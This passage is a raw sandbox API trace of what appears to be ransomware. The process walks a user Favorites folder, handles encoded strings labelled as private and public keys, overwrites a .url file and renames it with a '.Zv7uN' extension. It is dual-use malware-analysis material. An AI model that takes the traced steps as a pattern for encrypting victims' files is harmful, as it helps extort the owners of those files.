lpFatTime=0x18f7b8) returned 1 [0125.923] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.924] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.924] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.924] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.924] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.924] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0125.924] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.924] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0125.924] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url")) returned 0x20 [0125.925] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url", dwFileAttributes=0x80) returned 1 [0125.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.928] GetCurrentThreadId () returned 0xa30 [0125.929] GetCurrentThreadId () returned 0xa30 [0125.929] GetCurrentThreadId () returned 0xa30 [0125.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.930] GetCurrentThreadId () returned 0xa30 [0125.930] GetCurrentThreadId () returned 0xa30 [0125.930] GetCurrentThreadId () returned 0xa30 [0125.930] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.930] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0125.930] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.930] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xe2 [0125.930] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.931] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0xe2, lpOverlapped=0x0) returned 1 [0125.933] CloseHandle (hObject=0x1e8) returned 1 [0125.933] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.936] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0xe2, lpOverlapped=0x0) returned 1 [0125.938] CloseHandle (hObject=0x1e8) returned 1 [0125.938] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.zv7un")) returned 1 [0125.939] GetCurrentThreadId () returned 0xa30 [0125.939] GetCurrentThreadId () returned 0xa30 [0125.939] GetCurrentThreadId () returned 0xa30 [0125.939] GetCurrentThreadId () returned 0xa30 [0125.939] GetCurrentThreadId () returned 0xa30 [0125.939] GetCurrentThreadId () returned 0xa30 [0125.939] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0125.939] GetLastError () returned 0x12 [0125.939] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.939] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5fba4880, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fba4880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.939] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.940] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.940] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5fba4880, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fba4880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.940] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.940] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, 